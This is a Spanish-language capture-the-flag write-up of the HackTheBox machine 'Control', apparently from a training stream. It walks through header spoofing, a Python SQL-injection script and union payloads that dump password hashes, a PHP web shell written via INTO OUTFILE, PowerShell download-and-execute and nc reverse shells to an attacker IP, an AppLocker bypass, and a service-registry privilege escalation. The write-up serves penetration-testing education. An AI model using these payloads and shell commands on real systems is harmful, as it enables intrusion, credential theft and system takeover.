HTB_Control
Control {-}
Introduccion {-}
La maquina del dia 25/08/2021 se llama Control.
El replay del live se puede ver aqui
No olvideis dejar un like al video y un commentario…
Enumeracion {-}
Reconocimiento de maquina, puertos abiertos y servicios {-}
Ping {-}
ping -c 1 10.10.10.167
ttl: 127 -> maquina Windows
Nmap {-}
nmap -p- --open -T5 -v -n 10.10.10.167
Va lento
nmap -sS -p- --open --min-rate 5000 -vvv -n -Pn 10.10.10.167 -oG allPorts
extractPorts allPorts
nmap -sC -sV -p80,135,3306,49666,49667 10.10.10.167 -oN targeted
Puerto | Servicio | Que se nos occure? | Que falta? |
---|---|---|---|
80 | http | Web, Fuzzing | |
135 | msrpc | ||
3306 | mysql | SQLI | |
49666 | msrpc | puertos por defectos | |
49667 | msrpc | puertos por defectos |
Analyzando la web {-}
Whatweb {-}
whatweb http://10.10.10.167
Nos enfrentamos a un Microsoft IIS 10.0 con PHP 7.3.7.
http-enum {-}
Lanzamos un web scan con nmap.
nmap –script http-enum -p80 10.10.10.167 -oN webScan
Nos detecta la routa admin
Fuzzing con WFuzz {-}
wfuzz -c -t 200 --hc=404 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://10.10.10.167/FUZZ
Encontramos las routas uploads
, admin
Analyzando la web con Firefox {-}
Entramos en una pagina, hay un boton admin en el menu y uno login. Si miramos el codigo fuente vemos un comentario una Todo List:
- Import products
- Link to new payment system
- Enable SSL (Certificates location \192.168.4.28\myfiles)
El ultimo en este caso es muy interesante.
Si pinchamos el link admin, vemos un mensaje Acces Denied: Header Missing. Please ensure you go through the proxy to access this page. En este caso cuando se habla de proxy y de cabezera podemos uzar la heramienta curl con la cabezera X-Forwarded-for
Cabezera proxy {-}
curl -s -X GET "http://10.10.10.167/admin.php" -H "X-Forwarded-For: 192.168.4.28"
Aqui vemos que nos a cargado una pagina.
curl -s -X GET "http://10.10.10.167/admin.php" -H "X-Forwarded-For: 192.168.4.28" | html2text
Como vemos informaciones interesantes, vamos a tirar de burpsuite para ver la informacion de manera normal.
Añadir cabezera desde Burpsuite {-}
Una vez el burpsuite configurado con la maquina victima de target, vamos a añadir una cabezera. Lo podemos hacer de 2 maneras:
- Manual (cambiando de manera manual a cada peticion el header)
- Automatizada (que cada peticion use este header)
- Pinchamos a Proxy > Options
- Add Match and Replace
- Interceptamos y vemos que se añade la cabezera
- Desactivamos el intersepte
Ya podemos navegar de manera normal.
Vemos una pagina con productos y un input para buscar productos. Si escribimos un producto, aparece una tabla con un titulo id.
Probamos poner un apostrofe '
en el input de busqueda y nos sale un error SQL Error SQLSTATE[42000] Syntax error or access violation You have an error in your SQL
syntax, check the manual that corresponds to your MariaDB server version for the right syntax to use near "'" at line 1
Vulnerability Assessment {-}
SQL Injection Error Based con Python {-}
La idea aqui es crear un script en python que nos injecte el comando deseado y que filtre la respuesta al lado del servidor que queremos.
#!/usr/bin/python3
import requests
import re
import signal
import sys
import time
def def_handler(sig, frame):
print("\n[!] Saliendo...\n")
sys.exit(1)
# Ctrl+c
signal.signal(signal.SIGINT, def_handler)
# Variables_globales
sqli_url = "http://10.10.10.167/search_products.php"
def makeRequest(injection):
post_data = {
'productName: '%s' % injection
}
headers = {
'X-Forwarded-For': '192.168.4.28'
}
r = requests.post(sqli_url, data=post_data, headers=headers)
response = re.findall(r'\<tbody\>\r\n\t\t\t\t\t\t\t(.*?)\t\t\t\t\t\t\<\/tbody\>', r.text[0])
print("\n + response + \n")
if __name__ == '__main__':
while True:
injection = input("[+] Payload: ")
if injection != "exit":
makeRequest(injection)
else:
print("\n[!] Saliendo...\n")
sys.exit(0)
si lanzamos el script con rlwrap python3 sqli_injection.py
y a la entrada payload le ponemos el apostrofe, podemos ver el error. Ya podemos enumerar
la base de datos.
-
Miramos cuantas columnas hay
[+] Payload : ' order by 100-- - [+] Payload : ' order by 10-- - [+] Payload : ' order by 8-- - [+] Payload : ' order by 7-- - [+] Payload : ' order by 6-- -
Al
' order by 6-- -
nos sale No product Found, ya sabemos que hay 6 columnas -
Aplicamos el union select
[+] Payload : ' union select 1,2,3,4,5,6-- -
Vemos que se estan colandos la etiquetas
-
Listamos la base de datos actual en uso y el usuario
[+] Payload : ' union select 1,2,database(),4,5,6-- - [+] Payload : ' union select 1,2,version(),4,5,6-- - [+] Payload : ' union select 1,2,user(),4,5,6-- -
La base de datos se llama warehouse de typo MariaDB version 10.4.8 y el usuario manager@localhost
-
Miramos si podemos leer archivos de la maquina victima
[+] Payload : ' union select 1,2,load_file("C:\Windows\System32\drivers\etc\hosts"),4,5,6-- - [+] Payload : ' union select 1,2,load_file("Windows\System32\drivers\etc\hosts"),4,5,6-- - [+] Payload : ' union select 1,2,load_file("0x433a5c57696e646f77735c53797374656d33325c647269766572731b74635c686f737473"),4,5,6-- -
Parece que no podemos leer ficheros del systema.
[ ! ] NOTAS: el hexadecimal se hace con el comando
echo "C:\Windows\System32\drivers\etc\hosts" | tr -d '\n' | xxd -ps | xargs | tr -d ' '
-
Enumeramos las tablas existentes de la base de datos
[+] Payload : ' union select 1,2,group_concat(table_name),4,5,6 from information_schema.tables where table_schema="warehouse"-- -
Vemos que hay una tabla product, product_category y product_pack. No parece que haya informacion relevante.
-
Enumerar las bases de datos del systema
[+] Payload : ' union select 1,2,group_concat(schema_name),4,5,6 from information_schema.schemata-- -
Hay 3 bases de datos information_schema, mysql y warehouse.
-
Enumeramos la base de datos mysql
[+] Payload : ' union select 1,2,group_concat(table_name),4,5,6 from information_schema.tables where table_schema="mysql"-- -
Hay muchas tablas y una es la tabla user
-
Enumeramos las columnas de la tabla user
[+] Payload : ' union select 1,2,group_concat(column_name),4,5,6 from information_schema.columns where table_schema="mysql" and table_name="user"-- -
Existe una columna user y una password
-
Accedemos a los usuarios y contraseñas de la base de datos
[+] Payload : ' union select 1,2,group_concat(User,0x3a,Password),4,5,6 from mysql.user-- -
Copiamos los usuarios y la contraseñas en un fichero llamado hashes.
Crackeamos las contraseñas con crackstation {-}
Tratamos las informaciones del fichero hash
cat hashes | tr ',' '\n' | sed 's/\*//g' | sort -u > hashes
cat hashes | awk '{print $2}' FS=":" | xclip -sel clip
Abrimos la web de crackstation y colamos los hashes. Encontramos las contraseñas de hector y de manager.
Aqui el problema es que no tenemos puertos que nos permite conectar a la maquina de manera directa. Tenemos que intentar otra cosa para poder ganar accesso al systema.
Vuln exploit & Gaining Access {-}
Ganando accesso con SQL Injection {-}
Lo que vamos a intentar hacer, es escribir en un fichero usando la SQLI. Esto se puede hacer con el commando
into outfile
. Como savemos que la web es un IIS la routa por defecto de windows para hostear las webs de IIS es
C:\inetpub\wwwroot
y hemos encontrado una routa /uploads
intentamos ver si podemos escribir nuevos ficheros.
rlwrap python3 sqli_injection.py
[+] Payload : ' union select 1,2,"test",4,5,6 into outfile "C:\inetpub\wwwroot\uploads\test.txt-- -
[+] Payload : ' union select 1,2,"test",4,5,6 into outfile "C:\\inetpub\\wwwroot\\uploads\\test.txt-- -
Si vamos a la url http://10.10.10.167/uploads/test.txt
vemos el fichero creado. Intentamos injectar codigo malicioso
rlwrap python3 sqli_injection.py
[+] Payload : ' union select 1,2,"<?php echo \"<pre>\" . shell_exec($_REQUEST['cmd']) . \"</pre>\"; ?>",4,5,6 into outfile "C:\inetpub\wwwroot\uploads\s4vishell.php-- -
Ya podemos comprobar que podemos ejecutar comandos en la url http://10.10.10.167/uploads/s4vishell.php?cmd=whoami
.
Vamos a por ganar accesso al systema
-
Descargamos la nueva full TTY powershell
git clone https://github.com/antonioCoco/ConPtyShell cd ConPtyShell stty size vi Invoke-ConPtyShell.ps1
-
Añadimos lo siguiente al final del fichero
Invoke-ConPtyShell -RemoteIp 10.10.14.15 -RemotePort 443 -Rows 51 -Cols 189
-
Compartimos un servidor web con python
```bash
python3 -m http.server 80
` -
Nos ponemos en escucha por el puerto 443
nc -nlvp 443
-
Enviamos y ejecutamos el ficher Invoke-ConPtyShell.ps1
http://10.10.10.167/uploads/s4vishell.php?cmd=powershell IEX(New-Object Net.WebClient).downloadString("http://10.10.14.15/Invoke-ConPtyShell.ps1")
Ya tenemos accesso al systema
Tratamiento de la TTY {-}
^Z
stty raw -echo; fg
-> enter
-> enter
whoami
#output
error
cd C:\
#output
error
Los dos primeros commandos nos da un error pero a partir de aqui, ya tenemos una full tty shell.
Enumerando el systema {-}
cd Users/
dir
cd Hector
dir
#Output
Error
cd ../Administrator
dir
#Output
Error
No tenemos derechos para entrar en los directorios de los Usuarios. Pero tenemos una contraseña para el usuario Hector.
User pivoting al usuario hector {-}
Vemos si podemos lanzar commandos como el usuario hector.
hostname
#Output
Fidelity
$user = 'fidelity\hector'
$password = 'l33th4x0rhector'
$secpw = ConvertTo-SecureString $password -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCrendential $user,$secpw
Invoke-Command -ComputerName localhost -Cred $cred -ScriptBlock {whoami}
#Output
control\hector
Hemos podido lanzar un script enjaolado sobre un Blocke como si fuera el usuario hector que lo ejecutara. La idea aqui es entablarnos una reverse shell ejecutada como el usuario hector.
-
Enviamos un nc.exe a la maquina victima
-
en la maquina de atacante
locate nc.exe cp /usr/share/sqlninja/apps/nc.exe . impacket-smbserver smbFolder $(pwd) -smb2support -username s4vitar -password s4vitar123
-
en la maquina victima
cd C:\Windows\Temp mkdir userPivoting cd userPivoting net use x: \\10.10.14.15\smbFolder /user:s4vitar s4vitar123 copy x:\nc.exe nc.exe
-
-
Lanzamos la reverse shell como el usuario hector
-
en la maquina de atacante
rlwrap nc -nlvp 443
-
en la maquina victima
Invoke-Command -ComputerName localhost -Cred $cred -ScriptBlock {C:\Windows\Temp\userPivoting\nc.exe -e cmd 10.10.14.15 443 }
tenemos un error, quiere decir que tenemos que passar por un AppLockerByPass. Las routas se pueden encontrar en UltimateAppLockerByPassList.
cp nc.exe C:\Windows\System32\spool\drivers\color\nc.exe C:\Windows\System32\spool\drivers\color\nc.exe -e cmd 10.10.14.15 443
-
Ya hemos ganado acceso al systema como el usuario hector y podemos ver la flag.## Privilege Escalation {-}
Rootear la maquina {-}
whoami
whoami /priv
Como no tenemos posibilidades de escalar privilegios con un seImpersonatePrivilege por ejemplo, vamos a tener que enumerar el systema
cd C:\Windows\Temp
mkdir privesc
Descargamos el Winpeas.exe. Cancelamos el recurso smb y creamos un nuevo para transferir el fichero.
mv /home/s4vitar/Descargas/winPEASx64.exe ./winpeas.exe
impacket-smbserver smbFolderr $(pwd) -smb2support -username s4vitar -password s4vitar123
y lo transferimos a la maquina victima
net use y: \\10.10.14.15\smbFolderr /user:s4vitar s4vitar123
copy y:\winpeas.exe winpeas.exe
dir
winpeas.exe
El winpeas.exe nos reporta que el usuario Hector tiene fullControl sobre bastante servicios, uno de ellos es el seclogon.
```{r, echo = FALSE, fig.cap=”Hector service fullControl”, out.width=”90%”} knitr::include_graphics(“images/Control-Hector-services-fullControl.png”)
reg query "HKLM\system\currentcontrolset\services\seclogon"
```{r, echo = FALSE, fig.cap=”service seclogon reg-expand-sz”, out.width=”90%”} knitr::include_graphics(“images/Control-reg_expand_sz.png”)
```bash
![Cotrol-re_exad_sz](../assets/images/Control-reg_expand_sz.png)
reg add "HKLM\system\currentcontrolset\services\seclogon" /t REG_EXPAND_SZ /v ImagePath /d "C:\Windows\System32\spool\drivers\color\nc.exe -e cmd 10.10.14.15 443" /f
Ya podemos comprobar con el commando reg query "HKLM\system\currentcontrolset\services\seclogon"
que el ImagePath a sido cambiado.
-
Nos ponemos en escucha por el puerto 443
nc -nlvp 443
-
arrancamos el servicio
sc start seclogon
ya hemos ganado accesso al systema como nt authority\system
y podemos leer la flag.